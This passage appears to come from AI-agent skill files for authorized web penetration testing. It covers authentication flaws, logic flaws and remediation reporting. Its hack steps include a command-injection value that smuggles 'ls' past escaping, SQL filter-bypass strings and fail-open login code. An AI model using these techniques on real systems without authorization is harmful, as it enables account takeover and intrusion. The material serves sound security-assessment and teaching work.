**WHY:** When an application distinguishes "username not found" from "wrong password," it enables an attacker to enumerate valid usernames automatically. A confirmed list of valid usernames dramatically accelerates brute-force attacks, targeted password guessing, phishing, and social engineering. The attacker no longer needs to guess both credentials simultaneously — they can confirm usernames first, then target only known-valid accounts.
**AGENT: EXECUTES** — Read and compare response contents when source code is available; analyze HTTP response diffs when traffic logs are provided.
**Subtle enumeration channels to check:**
- Typographical differences in supposedly identical error messages across different code paths
- Response length differences (even a single character difference counts)
- Timing differences — a valid username may trigger slower processing (database lookup, password hash computation) than an invalid one, creating a measurable timing oracle even when messages appear identical
- Self-registration: if the application rejects an already-registered username, registration is an enumeration oracle
---
### Step 5: Test Credential Transmission Security (Design Flaw: Vulnerable Credential Transmission)
**ACTION:** Perform a complete login while intercepting all traffic with a proxy. Verify that: (a) the login page itself is loaded over HTTPS (not just submitted over HTTPS), (b) credentials are submitted only in the POST body — not URL query parameters, not cookies, (c) credentials are not reflected back to the client in any response, (d) credentials are not stored in cookies.
**WHY:** Credentials submitted in URL query strings appear in: browser history, server access logs, and reverse proxy logs — any of which may be accessible to an attacker who compromises a related system. Loading the login form over HTTP allows a man-in-the-middle attacker to modify the form's action URL to HTTP before the user submits credentials, capturing them even when the submission itself is HTTPS. A common developer mistake is to load the page on HTTP "for performance" and only switch to HTTPS at submission — this is insufficient.
**AGENT: EXECUTES** — Grep source code for form action URLs, HTTP vs HTTPS checks, credential parameter names in query strings, cookie-setting on login.
**Check for these common vulnerabilities:**
- Login form loaded via HTTP, submitted via HTTPS (man-in-the-middle attack surface)
- Credentials passed as query string parameters in any redirect after login
- Credentials stored in cookies (even encrypted — replay attacks remain possible)
- Any transmission of a cleartext credential in any direction (including password field pre-population)
---
### Step 6: Assess Password Change Functionality (Design Flaw: Password Change Flaws)
**ACTION:** Locate the password change function (it may not be linked from obvious navigation). Make requests with: invalid usernames, invalid existing passwords, and mismatched "new password"/"confirm password" values. Test whether the function enforces the same brute-force protections as the main login. Check whether a hidden form field or cookie specifies the target username.
**WHY:** Password change functions frequently reintroduce vulnerabilities that were carefully avoided in the main login. Developers apply security rigor to the front door but leave side doors unguarded. A password change function that allows unlimited guesses of the "existing password" field is a second brute-force surface, often with weaker defenses. A function that identifies the user via a hidden form field (rather than the authenticated session) can be exploited to change another user's password.
**AGENT: EXECUTES** (code analysis) — HANDOFF TO HUMAN (interactive testing).
**Specific checks:**
- Is the function accessible without authentication? (It should not be.)
- Does it contain a username field (visible or hidden)? Attempt to supply a different username.
- Does it provide verbose error messages that reveal whether a username exists?
- Does it allow unlimited guesses of the existing password field?
- Does it check that new password and confirm password match before validating the existing password? (If yes, the response to a mismatch reveals whether the existing password was correct — a timing/logic oracle.)
---
### Step 7: Assess Account Recovery Functionality (Design Flaw: Forgotten Password Flaws)
**ACTION:** Walk through the complete forgotten password flow using an account you control. Test: whether the recovery challenge is brute-forcible, whether the recovery URL is predictable, whether the recovery mechanism discloses the existing password, whether the mechanism drops the user into an authenticated session without password verification.
**WHY:** Forgotten password mechanisms are frequently the weakest link in the overall authentication chain. Security questions have a far smaller answer space than passwords — "mother's maiden name" may have thousands of plausible values, not billions. Users set trivially guessable challenges ("Do I own a boat?"). Even well-designed challenge mechanisms are undermined if the account recovery step discloses the existing password or grants immediate authenticated access without credential verification.
**HANDOFF TO HUMAN** — Walkthrough requires interactive browser session with a test account.
**Check for these common weaknesses:**
- Brute-forcible challenge responses (no lockout on the forgotten password form)
- Password "hints" that reveal or heavily suggest the password value
- Recovery URL sent to an attacker-controlled email address (if the email address field is in a hidden form field or cookie, it can be modified)
- Recovery mechanism that discloses the existing forgotten password (attacker can repeat the challenge indefinitely to always know the current password)
- Recovery URL that is predictable from a sequence (analyze multiple recovery URLs using the same techniques as session token analysis)
- Immediate authenticated session granted upon challenge completion, without requiring password reset
---
### Step 8: Test "Remember Me" Functionality (Design Flaw: Remember-Me Flaws)
**ACTION:** Activate any "remember me" feature and inspect all persistent cookies and local storage that are set. Determine whether the cookie stores the username directly, a predictable session identifier, or a securely encrypted/random token. Attempt to modify the cookie value to impersonate another user.
**WHY:** Remember-me cookies that store a plaintext username (e.g., `RememberUser=alice`) authenticate the user based solely on the cookie value — bypassing password verification entirely. An attacker who enumerates valid usernames can construct valid remember-me cookies and log in as any user without knowing their password. Even encoded or encrypted cookies may be reverse-engineerable if the encoding is applied consistently across accounts.
**AGENT: EXECUTES** (cookie analysis in source code or traffic logs) — HANDOFF TO HUMAN (manipulation via proxy).
**Tests to perform:**
1. Does the remember-me cookie fully bypass password entry on return visit, or only pre-fill the username field? (The latter is much lower risk.)
2. Does the cookie contain a recognizable identifier (username, user ID, email)?
3. Does repeated "remembering" of similar usernames reveal a pattern in the cookie value?
4. Can the cookie be modified to contain another user's identifier, gaining access to their account?
---
### Step 9: Test for User Impersonation Functionality (Design Flaw: User Impersonation)
**ACTION:** Search for impersonation functionality that may not be linked from published navigation (e.g., `/admin/impersonate`, `/switch-user`). Test whether: the impersonation endpoint is accessible without administrative authentication, user-supplied parameters control which account is being impersonated, any login "backdoor password" exists that works across all accounts.
**WHY:** Impersonation functionality implemented as a hidden URL without access controls is effectively a complete authentication bypass — anyone who discovers the URL can access any user's account. Backdoor passwords for impersonation are discovered during brute-force attacks (they appear as a second "hit" matching multiple usernames) and expose every account in the application. If administrative accounts can be impersonated, the vulnerability escalates to full application compromise.
**AGENT: EXECUTES** (grep for impersonation routes, admin URLs, backdoor indicators in source) — HANDOFF TO HUMAN (interactive testing).
**Signs of backdoor password:** During password-guessing attacks, the same password successfully logs in to multiple different user accounts, or a brute-force attack produces two separate "hits" for a single account (one for the real password, one for the backdoor password).
---
### Step 10: Test Incomplete Credential Validation (Design Flaw: Incomplete Validation)
**ACTION:** Using an account you control, attempt login with: the password truncated by the last character, the password with a character changed from uppercase to lowercase (or vice versa), the password with special/typographic characters removed. If any of these succeeds, continue experimenting to characterize the exact validation behavior.
**WHY:** Applications that truncate passwords (validating only the first N characters) or perform case-insensitive comparison reduce the effective password space by orders of magnitude. A 12-character password truncated to 8 characters has the same effective strength as an 8-character password. Case-insensitive comparison halves the entropy per character. These limitations massively improve an attacker's chances in an automated attack once discovered, and they can be fed back into the attack to eliminate superfluous test cases.
---
### Step 11: Test for Nonunique and Predictable Usernames (Design Flaw: Username Issues)
**ACTION (Nonunique usernames):** If self-registration is available, attempt to register the same username twice with different passwords. If the second registration succeeds, test the collision behavior. If blocked, the registration form is an enumeration oracle — use it to enumerate existing usernames.
**ACTION (Predictable usernames):** If the application generates usernames automatically, register several accounts in quick succession and analyze the sequence. Extrapolate backward to infer a list of all existing usernames.
**WHY:** Nonunique usernames create a collision attack where an attacker can register a target username with a known password. If the application handles the collision by merging accounts, the attacker gains access to the original account's data. Predictable usernames eliminate the need for enumeration — the attacker already has a complete, high-confidence username list before making a single login attempt, enabling stealth brute-force attacks with minimal application interaction.
---
### Step 12: Test Fail-Open Login Logic (Implementation Flaw)
**ACTION:** Perform a complete valid login, recording every request parameter and cookie in both directions. Then repeat the login numerous times, each time modifying one parameter in unexpected ways: submit an empty string, remove the parameter entirely, submit an unexpectedly long value, submit a string where a number is expected, submit the same parameter multiple times with different values. For each malformed request, carefully compare the server's response against the baseline success and failure responses.
**WHY:** Fail-open logic occurs when an exception during login processing (null pointer, type mismatch, missing parameter) causes the application to bypass the authentication check and grant access. This flaw is invisible to behavioral testing of the happy path — it only manifests when unexpected input causes code to take an error-handling path that skips the credential validation logic. The most dangerous implementations are not obvious fail-opens like an empty catch block — they are complex multi-layered method calls where an exception at any point can propagate in an unexpected way.
**AGENT: EXECUTES** (code analysis for exception handling patterns, fail-open conditions) — HANDOFF TO HUMAN (malformed request submission via proxy).
**In source code, look for:**
- `try { /* login logic */ } catch (Exception e) { }` with subsequent authenticated-state code
- Login functions that return `true` (success) as a default, requiring explicit `false` to deny
- Missing null checks on the user object returned from credential lookup
---
### Step 13: Test Multistage Login Mechanisms (Implementation Flaw)
**ACTION:** Map every distinct stage of the login, documenting what data is collected and validated at each stage and what data is passed between stages (especially hidden form fields, cookies, and URL parameters). Test for: (a) stage skipping — proceeding directly to stage 3 without completing stage 2, (b) cross-user mixing — providing valid credentials for user A at stage 1 and valid credentials for user B at stage 2, (c) state manipulation — modifying hidden fields that encode login progress (e.g., `stage2complete=true`).
**WHY:** Multistage login mechanisms are commonly believed to be more secure than single-stage. In practice, the added complexity creates more opportunities for implementation error. The most dangerous class of flaw: an application validates the username at stage 1 but does not enforce that the same username is submitted at stage 2. An attacker with one user's password and another user's physical token can mix credentials across stages to authenticate as either user — partially defeating the entire multi-factor design at significant cost to the application owner.
**AGENT: EXECUTES** (code analysis for cross-stage data flow, server-side vs client-side state tracking) — HANDOFF TO HUMAN (stage manipulation via proxy).
**Critical check: client-side state tracking.** If login progress (which stages are complete) is tracked in hidden form fields or cookies rather than server-side session variables, an attacker can forge that state and advance directly to any stage.
---
### Step 14: Assess Credential Storage Security (Implementation Flaw)
**ACTION:** In white-box mode: examine the database schema and any ORM model for the users/accounts table. Identify the data type and any hashing configuration for the password field. Check whether salted, slow hashing algorithms are used (bcrypt, scrypt, Argon2, PBKDF2). In black-box mode: look for any authentication-related functionality that ever returns your password to you (password hints, welcome emails with your existing password, password change emails that include new or old passwords) — these behaviors indicate reversible storage.
**WHY:** Insecure credential storage means that a database breach (via SQL injection, access control weakness, or server compromise) produces immediately exploitable credentials. MD5 and SHA-1 hashes of common passwords are precomputed in online databases — cracking them takes milliseconds. Unsalted hashes allow identical passwords to be identified by their shared hash value, enabling mass cracking. Secure hashing (bcrypt, Argon2) with per-user salts means a breach produces hashes that require significant per-hash computation to crack — buying time for users to change passwords.
**AGENT: EXECUTES** — Grep source code for password hashing library usage; inspect schema files for password column definitions.
**Red flags in source code:**
- `MD5(password)`, `SHA1(password)`, or any fast hash without a salt
- Plaintext password comparison: `if (user.password == submitted_password)`
- Password retrieval functions (SELECT password FROM users WHERE ...) used outside administrative contexts
---
### Step 15: Document Findings and Map Countermeasures
**ACTION:** For each confirmed vulnerability, write a finding with: flaw category, CWE identifier, severity (Critical/High/Medium/Low), evidence (request/response or code snippet), and the specific countermeasure from the "Securing Authentication" framework. Produce a structured assessment report.
**WHY:** Findings without mapped countermeasures are incomplete — they tell the development team what is broken but not what to do about it. The countermeasure framework ensures recommendations are specific and actionable, not generic ("use strong passwords"). Linking to CWE identifiers enables teams to cross-reference OWASP testing guides and vendor security advisories.
**AGENT: EXECUTES** — Writes the assessment report to a file.
---
## Inputs
- Application login endpoint and any known authentication-related URLs
- HTTP proxy session / Burp Suite project file (black-box mode)
- Application source code — authentication handlers, session management, user model (white-box mode)
- Database schema or ORM model definitions (white-box mode, for storage analysis)
- Test account credentials with known password (for behavioral testing steps)
- Scope confirmation from the authorizing party
## Outputs
**Authentication Security Assessment Report** containing:
```
# Authentication Security Assessment — [Application Name]
Date: [date]
Assessor: [name/team]
Mode: [black-box | white-box | hybrid]
Scope: [authenticated surfaces tested]
## Executive Summary
[2-3 sentences: overall posture, highest severity finding, recommended priority]
## Findings
### [FINDING-001] [Flaw Name]
- CWE: CWE-XXX
- Severity: [Critical | High | Medium | Low]
- Surface: [main login | password change | account recovery | ...]
- Evidence: [request/response excerpt or code snippet]
- Countermeasure: [specific remediation]
[... repeat for each finding ...]
## Countermeasure Summary
[Table: Finding ID | Severity | Countermeasure | Priority]
## Attack Surface Coverage
[Table: Surface | Tested | Findings Count]
```
---
## Key Principles
- **Authentication is the front line — one break defeats all downstream controls.** Session management and access control depend on authentication to establish identity. An attacker who bypasses authentication bypasses every control built on top of it. This is why a medium-severity finding in authentication often has higher real-world impact than a critical-severity finding in a lower-value function.
- **Secondary functions introduce primary vulnerabilities.** Password change, forgotten password, and registration consistently reintroduce vulnerabilities that were carefully avoided in the main login. Developers apply security review to the main login and assume secondary functions are lower-risk. Assessors must give equal attention to every function that accepts or processes credentials.
- **Behavioral testing reveals design flaws; code analysis reveals implementation flaws.** No amount of happy-path behavioral testing will reveal a fail-open exception handler. No amount of code reading will tell you whether the timing difference between valid and invalid usernames is large enough to exploit. Both modes are necessary for complete coverage.
- **Account lockout bypass is often trivial — test it explicitly.** Client-side lockout counters (in cookies or hidden fields) can be reset by obtaining a fresh session. Session-based counters can sometimes be bypassed by rotating sessions before the threshold. The presence of a lockout UI message does not guarantee the lockout is enforced server-side for automated traffic.
- **Multistage complexity does not equal security.** The common assumption that more authentication stages means stronger security is wrong. Each additional stage adds complexity and introduces new opportunities for implementation error. Multistage mechanisms should be tested more rigorously than single-stage, not less — the design investment makes it especially important that the implementation is correct.
- **Enumerate all authentication surfaces before testing any of them.** An incomplete attack surface map means incomplete findings. Authentication weaknesses cluster in side-door functions (account recovery, impersonation) that are easy to miss during a time-limited assessment.
---
## Examples
**Scenario: Black-box penetration test of a financial services login**
Trigger: "We need a pentest of our banking portal login page before the Q2 launch."
Process:
1. Map authentication surfaces: main login (multistage: username + password + SMS OTP), forgotten password, password change, remember-me, no impersonation found.
2. Step 4 (username enumeration): Login with valid username + wrong password returns "Incorrect password." Login with invalid username returns "User not found." — confirmed username enumeration via verbose failure message (CWE-203). Repeated on forgotten password form: same enumeration exists there.
3. Step 3 (brute-force): 10 failed attempts — no lockout, no CAPTCHA. Counter stored in cookie `failedLogins=10`; deleting the cookie resets to 0. Brute-force fully possible (CWE-307).
4. Step 13 (multistage): Stage 2 (password) accepts the same username from stage 1 — but only from a hidden form field. Modifying the hidden field to a different username while keeping valid stage-1 data results in authentication as the hidden-field username — cross-stage identity substitution confirmed.
5. Step 5 (credential transmission): Login page loaded over HTTP, submitted over HTTPS — man-in-the-middle attack surface for form action modification.
Output: 4 findings (2 High, 1 Critical for stage-skip, 1 Medium), structured report with CWE mapping and countermeasures.
---
**Scenario: White-box security code review of a Node.js Express application**
Trigger: "Review our auth code before it goes to production. We're worried about the login and password reset."
Process:
1. Grep codebase for `password`, `bcrypt`, `hash`, `md5`, `sha1` — finds `crypto.createHash('md5').update(password).digest('hex')` in the user model. MD5 without salt confirmed (CWE-916).
2. Read forgotten password handler: generates a reset token as `Math.random()` — not cryptographically random, predictable token sequence (CWE-340, related to CWE-640).
3. Read login handler: `try { const user = await User.findOne({username, password: md5(password)}); res.json({success: true}); } catch(e) { res.json({success: true}); }` — fail-open: any exception during login returns success (CWE-287).
4. Read password change function: accessible without checking session authentication cookie — unauthenticated password change possible.
Output: 4 findings including 1 Critical (fail-open login), 1 High (unauthenticated password change), 1 High (MD5 unsalted storage), 1 Medium (predictable reset token).
---
**Scenario: Assessment of a forgotten password mechanism**
Trigger: "We're getting reports that users are being locked out of their accounts. Can you check if there's a security issue with our password reset flow?"
Process:
1. Walk through forgotten password flow with a test account: username → secret question → answer → password reset link emailed.
2. Step 7: Challenge brute-force — submit 50 incorrect answers to the security question with no lockout triggered. Security question is "What is your mother's maiden name?" — small answer space, publicly discoverable (CWE-640).
3. Inspect the recovery URL in the email: `https://app.example.com/reset?token=1738241` — sequential numeric token. Register two consecutive accounts, observe tokens 1738239 and 1738241, infer token 1738240 was issued to another user. Confirmed predictable recovery URL (CWE-340).
4. Test token reuse: recovery URL remains valid after use — an attacker who captures a recovery URL can use it repeatedly to take back control of the account.
Output: 3 findings (2 High, 1 Medium), with countermeasures specifying cryptographically random single-use time-limited recovery URLs and challenge brute-force lockout.
---
## References
- For countermeasure implementation details, see [securing-authentication.md](references/securing-authentication.md)
- For CWE and OWASP mapping per flaw category, see [authentication-cwe-mapping.md](references/authentication-cwe-mapping.md)
- Source: Stuttard, D. & Pinto, M. (2011). *The Web Application Hacker's Handbook* (2nd ed.), Chapter 6: "Attacking Authentication," pp. 159-201. Wiley.
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Test web application business logic for vulnerabilities that automated scanners cannot detect. Use this skill when: performing a penetration test or security...
---
name: application-logic-flaw-testing
description: |
Test web application business logic for vulnerabilities that automated scanners cannot detect. Use this skill when: performing a penetration test or security assessment and automated tools have been run but logic-layer coverage is still needed; testing multistage workflows (checkout, account creation, approval flows, insurance applications) for stage-skipping or cross-stage parameter pollution; probing authentication and password-change functions for parameter-removal bypasses (deleting existingPassword to impersonate an admin); testing numeric business limits for negative-number bypass (submitting -$20,000 to avoid approval thresholds); probing discount or pricing logic for timing flaws (add items to qualify, remove before payment); investigating whether shared code components allow session object poisoning across unrelated application flows; hunting for encryption oracles where a low-value crypto context can be used to forge high-value tokens; probing search functions that return match counts as side-channel inference oracles; testing for defense interaction flaws where quote-doubling plus length truncation reconstructs an injection payload; checking whether debug error messages expose session tokens or credentials cross-user via static storage; testing race conditions in authentication that cause cross-user session assignment under concurrent login. Logic flaws arise from violated developer assumptions — assumptions that users will follow intended sequences, supply only requested parameters, omit parameters they were not asked for, and not cross-pollinate state between application flows. Each flaw is unique and application-specific, but the 12 attack patterns documented here provide a reusable taxonomy that transfers across application domains. Maps to OWASP Testing Guide (OTG-BUSLOGIC-*), CWE-840 (Business Logic Errors), CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-362 (Race Condition), and OWASP Top 10 A04:2021 (Insecure Design).
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/web-application-hackers-handbook/skills/application-logic-flaw-testing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
depends-on: []
source-books:
- id: web-application-hackers-handbook
title: "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws"
authors: ["Dafydd Stuttard", "Marcus Pinto"]
edition: 2
chapters: [11]
pages: "405-429"
tags: [business-logic, logic-flaws, forced-browsing, parameter-removal, race-condition, encryption-oracle, session-poisoning, negative-numbers, discount-timing, defense-interaction, search-oracle, debug-disclosure, penetration-testing, appsec, owasp, cwe-840, cwe-841, cwe-362]
execution:
tier: 3
mode: plan-only
inputs:
- type: document
description: "HTTP traffic captures, Burp Suite proxy logs, or prior application mapping output describing multistage workflows, parameter names, and application behavior"
- type: codebase
description: "Application source code or design documentation (white-box) — reveals shared components, session handling, and storage class reuse"
tools-required: [Read, Write]
tools-optional: [Grep, WebFetch]
mcps-required: []
environment: "Authorized security testing context required. Logic flaw testing requires creative adversarial reasoning and manual interaction with a running application; this skill produces a structured test plan, not automated execution."
discovery:
goal: "Identify exploitable business logic vulnerabilities by probing the 12 canonical flaw patterns; produce a structured findings report with violated assumption, attack vector, business impact, and remediation recommendation for each finding"
tasks:
- "Understand the application's intended workflows, user roles, and the assumptions embedded in each"
- "Map all multistage processes, shared components, and parameter handling across roles"
- "Apply each of the 12 flaw patterns as a lens against each relevant application area"
- "Document each finding: flaw pattern, violated assumption, reproduction steps, business impact"
- "Produce defensive recommendations aligned with the Avoiding Logic Flaws principles"
audience:
roles: ["penetration-tester", "application-security-engineer", "security-minded-developer", "bug-bounty-researcher"]
experience: "intermediate-to-advanced — assumes familiarity with HTTP, web proxies (Burp Suite or equivalent), and how web application sessions and parameters work"
triggers:
- "Penetration test scope requires logic-layer coverage beyond what automated scanners provide"
- "Application implements multistage workflows (e-commerce checkout, insurance application, loan approval)"
- "Application has multiple user roles that share underlying code components or session objects"
- "Security assessment of authentication, password change, or account registration functionality"
- "Code review of shared components that are reused across different security contexts"
- "OWASP A04:2021 (Insecure Design) findings need to be enumerated"
---
# Application Logic Flaw Testing
## When to Use
Use this skill when you need to discover business logic vulnerabilities that no automated scanner will find. Automated tools identify vulnerabilities with recognizable signatures — SQL injection payloads that produce database errors, cross-site scripting payloads that reflect in responses. Logic flaws have no signature. Each instance is a unique one-off tied to the specific assumptions a development team made when building a particular feature.
Logic flaws arise when a developer reasons: "If A happens, then B must be the case, so I will do C" — and fails to ask "But what if X occurs?" The flaw is not in a library or protocol; it is in the developer's mental model of how users will behave. Testing for logic flaws therefore requires getting inside that mental model, understanding what the developers assumed, and then deliberately violating those assumptions.
This skill applies to authorized penetration tests, appsec audits, and security code reviews. It is not a substitute for legal authorization to test a target application.
---
## Core Concepts
### The Nature of Logic Flaws
Logic flaws differ from injection or authentication vulnerabilities in three critical ways:
- **No common signature.** There is no payload or pattern that reliably indicates a logic flaw. Each instance looks different.
- **Not scanner-detectable.** Automated vulnerability scanners cannot model developer intent. They can only recognize known bad outputs, not absent business rules.
- **Lateral thinking required.** Finding logic flaws demands imagination — the tester must think about what the application was built to prevent, and then think about what the developers forgot to consider.
The defining characteristic of every logic flaw is a **violated assumption**: a condition the developer believed could never occur, which the attacker can deliberately engineer.
### The Assumption Framework
For each area of functionality under test, apply this analytical frame:
1. **What is this feature designed to do?** Understand the intended happy path.
2. **What assumptions does the implementation make?** Look for assumed user behavior: assumed parameter presence/absence, assumed request sequence, assumed value ranges, assumed role segregation.
3. **Which assumptions are user-controllable?** Any assumption that depends on client-side behavior can be violated.
4. **What happens when the assumption is violated?** What does the server do? What business rule breaks?
---
## Process
### Phase 1 — Reconnaissance and Assumption Mapping
**Step 1: Map all multistage workflows.**
Identify every process that spans more than one HTTP request or page: checkout flows, account registration, password change, loan/insurance applications, approval chains. Document the intended sequence and the mechanism by which stages are linked (URL parameters, POST fields, session state).
*Why: Logic flaws concentrate in workflows because developers mentally simulate users following the intended path. Every stage transition is a potential assumption violation point.*
**Step 2: Identify all user roles and shared components.**
Determine what roles exist (anonymous, authenticated user, administrator, underwriter, etc.) and whether any server-side code components are shared across roles. Note any functionality that allows one role to trigger server-side state that another role reads.
*Why: Shared components are the most dangerous logic flaw surface. A component designed for Role A that is reused for Role B often carries assumptions that are valid in one context and exploitable in the other.*
**Step 3: Document all parameters in each workflow.**
For each request in a workflow, record every parameter name and value. Note which parameters are hidden, which are read from session vs. the request, and which differ between user roles performing the same operation.
*Why: Parameter names that differ between roles (e.g., `existingPassword` present for users, absent for admins) reveal assumption-based branching in server logic.*
---
### Phase 2 — Apply the 12 Flaw Pattern Library
Work through each pattern below as a lens. For each pattern, identify which application areas are plausible candidates, then design a targeted test.
---
#### Pattern 1: Encryption Oracle
**Violated assumption:** The encryption algorithm and key used to protect a high-value token are not accessible to users through any other mechanism.
**Test approach:** Identify every location where the application encrypts or decrypts data supplied by or returned to the user. Look for low-value encrypted values (screen name cookies, preference tokens) that use the same algorithm/key as high-value tokens (authentication tokens, session identifiers). Submit a high-value encrypted token in a field expecting a low-value encrypted token. Observe whether the application decrypts and processes it.
**Hack steps:**
- Find all locations where encryption (not hashing) is used. Hashing is one-way; encryption implies a key that the application holds.
- Attempt to substitute any encrypted value found in one context into a field expecting an encrypted value in a different context.
- Cause deliberate errors that reveal decrypted values, or find screens that intentionally display decrypted content.
- Test whether user-controlled plaintext input causes the application to return a corresponding encrypted value (oracle-encrypt path).
- Test whether user-controlled encrypted input causes the application to display the corresponding plaintext (oracle-decrypt path).
**Impact:** Complete authentication bypass. Attacker forges a session token for any user, including administrators.
---
#### Pattern 2: Parameter Removal Bypass
**Violated assumption:** The presence or absence of a parameter in a request reliably indicates the user's role or privilege level.
**Test approach:** For every request in a sensitive workflow, remove each parameter entirely (not just blank it — delete the name/value pair). Observe whether the server's behavior changes. Pay special attention to parameters that differ between roles performing the same function.
**Hack steps:**
- Identify parameters submitted in requests and remove them one at a time.
- Delete the parameter name as well as its value. Submitting an empty string is handled differently from omitting the parameter entirely.
- Remove one parameter per request to isolate which code path each parameter controls.
- For multistage processes, follow through to completion after each removal — some effects only manifest in later stages.
**Impact:** Authentication bypass, privilege escalation, or constraint removal depending on which parameter controls which check.
---
#### Pattern 3: Workflow Stage Skip (Forced Browsing)
**Violated assumption:** Users will always access multistage functions in the intended sequence because the browser presents them in that order.
**Test approach:** Map the intended sequence of a multistage workflow. Attempt to access later stages directly without completing earlier stages. Try accessing stage N+2 from stage N (skip one), accessing the final confirmation step from the first step, and re-accessing early stages after completing later ones.
**Hack steps:**
- Determine whether stages are distinguished by URL, POST parameters, a stage index field, or session state.
- Submit requests for each stage out of sequence. Try skipping individual stages and jumping directly to the final stage.
- Observe error conditions when stages are accessed out of order — debug output often reveals application internals.
- Note that incomplete session state from skipped stages may cause unexpected application behavior worth exploring further.
**Impact:** Payment bypass, authorization bypass, approval bypass — any business rule enforced in a skipped stage is evaded.
---
#### Pattern 4: Cross-Stage Parameter Pollution
**Violated assumption:** Users will only submit the parameters that the HTML form at each stage requests; they will not supply parameters from other stages or roles.
**Test approach:** In a multistage workflow, identify parameters submitted at each stage. During a later stage, additionally submit parameters that belong to an earlier stage (or that belong to a different user role). If the server maintains a shared state object that is updated with any parameter supplied at any stage, out-of-sequence parameters will be accepted and processed.
**Hack steps:**
- Walk through the full workflow as each available user role, capturing all parameters submitted at each stage.
- During each stage, additionally submit parameters from other stages or other roles.
- Observe whether the parameters are accepted and whether they affect downstream application state.
- Test whether parameters exclusive to a privileged role (underwriter decision fields, admin approval flags) can be submitted by a lower-privileged role.
**Impact:** Price manipulation, approval bypass, privilege escalation, cross-site scripting stored against privileged reviewers.
---
#### Pattern 5: Session Object Poisoning
**Violated assumption:** A code component reused across multiple features creates independent session objects in each context; using it in one flow does not affect the session state in another.
**Test approach:** Identify features that allow a user to input data that is stored in the session (registration, profile update, account switch). After completing such a flow, navigate to a completely different area of the application and observe whether the session state accumulated in the first flow affects the second flow's behavior or output.
**Hack steps:**
- In complex applications with horizontal or vertical privilege segregation, look for any instance where a user accumulates session state that relates to identity.
- Use one area of functionality (e.g., registration) to write a target user's identity into your session object.
- Switch to a different area of functionality (e.g., account overview) and observe whether the poisoned session state causes the application to act as the target user.
- This is a black-box test; the application behavior must be observed indirectly through output differences.
**Impact:** Full account takeover — attacker accesses another user's financial data, statements, and transactional functionality.
---
#### Pattern 6: Negative Number Bypass
**Violated assumption:** The value supplied for a quantity or amount will always be positive; the approval threshold check (`amount <= threshold`) will always catch large transfers.
**Test approach:** For any numeric input that controls a business limit, pricing calculation, or approval threshold, submit negative values. Observe whether the server accepts them, how it processes them, and what downstream effect occurs.
**Hack steps:**
- Identify all numeric inputs that are bounded by business rules (transfer amounts, order quantities, discount percentages, insurance values).
- Submit negative values and observe whether they pass validation.
- Understand what the negative value means semantically to the application — a negative transfer is often processed as a transfer in the opposite direction.
- Consider multi-step exploits: engineer a balance state via several transfers that enables extraction.
**Impact:** Financial fraud, approval bypass, inventory manipulation.
---
#### Pattern 7: Discount Timing Flaw
**Violated assumption:** A user who qualifies for a discount at the time of adding items to a cart will purchase all the qualifying items; discount adjustments applied at add-time are final.
**Test approach:** In any application that applies discounts, pricing adjustments, or promotions based on the composition of a user's cart or order, add items to qualify for the adjustment, then remove some qualifying items after the discount has been applied. Observe whether the discount persists on remaining items.
**Hack steps:**
- Understand the algorithm the application uses to determine discount eligibility and the point in the workflow where adjustments are made.
- Determine whether adjustments are made once at add-time or recalculated on every cart change.
- Add qualifying items to trigger a discount, verify the discount is applied, then remove the items you do not want.
- Observe whether the discount persists on the items you retain.
**Impact:** Unauthorized price reductions, financial loss to the application owner.
---
#### Pattern 8: Escape-from-Escaping
**Violated assumption:** Escaping all potentially dangerous metacharacters in user input provides complete protection against injection; the escape character itself is not dangerous.
**Test approach:** When probing for command injection or other metacharacter-sensitive injection points where escaping is applied, prefix each dangerous character with a backslash. If the application escapes the semicolon in `foo;ls` to produce `foo\;ls` but does not also escape the backslash, then input `foo\;ls` will be transformed to `foo\\;ls` — where the shell interpreter treats the first backslash as escaping the second, leaving the semicolon unescaped.
**Hack steps:**
- When testing any input that is sanitized by escaping metacharacters, always try placing a backslash immediately before each metacharacter in your payload.
- Input: `foo\;ls` → after escaping: `foo\\;ls` → shell sees: literal backslash + unescaped semicolon = command injection.
- This same pattern applies to JavaScript string contexts where backslash-escaping of quotes is used as an cross-site scripting defense.
**Impact:** Command injection, cross-site scripting — complete bypass of the escaping defense.
---
#### Pattern 9: Defense Interaction Flaw (Quote-Doubling + Truncation)
**Violated assumption:** Two independently sound defense mechanisms (quote-escaping and length truncation) are still sound when applied in sequence.
**Test approach:** When an application doubles single quotes to prevent SQL injection and also truncates input to a maximum length, the two defenses interact destructively. A payload of 127 a's followed by a single quote: the doubling adds one character (making it 129), then truncation to 128 removes the doubled second quote, leaving a single unescaped quote that breaks query syntax.
**Hack steps:**
- Note all instances where the application modifies user input: truncation, stripping, encoding, escaping.
- Test for defense interaction by submitting two long strings: one consisting entirely of single quotes, one of `a` characters followed by a single quote. Observe whether an error occurs after either even or odd numbers of characters are submitted.
- If data is stripped non-recursively (e.g., SQL keywords removed once), try nested payloads: `SELSELECTECT` — removing the inner `SELECT` leaves `SELECT`.
- If URL decoding occurs before stripping, try double-encoded payloads.
**Impact:** SQL injection bypass, authentication bypass despite defense-in-depth measures.
---
#### Pattern 10: Search Function Inference Oracle
**Violated assumption:** A search function that returns only document titles (not content) provides no meaningful access to the documents' protected content.
**Test approach:** When a search function returns the count of matching documents (or a binary match/no-match indication) rather than full document content, it can be exploited as an oracle. Issue a large number of targeted queries, narrowing down the content of protected documents through binary search — similar to blind SQL injection inference.
**Hack steps:**
- Identify search functions that return counts or match indicators for content the user is not authorized to view in full.
- For a target document, construct queries with progressively more specific terms and observe match counts.
- Use the binary search approach: if `[topic] [subtopic]` returns 1 match and `[topic] [subtopic] [candidate phrase]` returns 0, the document does not contain that phrase.
- Apply letter-by-letter brute force when the search function matches substrings rather than whole words (effective against passwords stored in wikis and document management systems).
**Impact:** Unauthorized disclosure of protected content, credential leakage, competitive intelligence exposure.
---
#### Pattern 11: Debug Message Harvesting
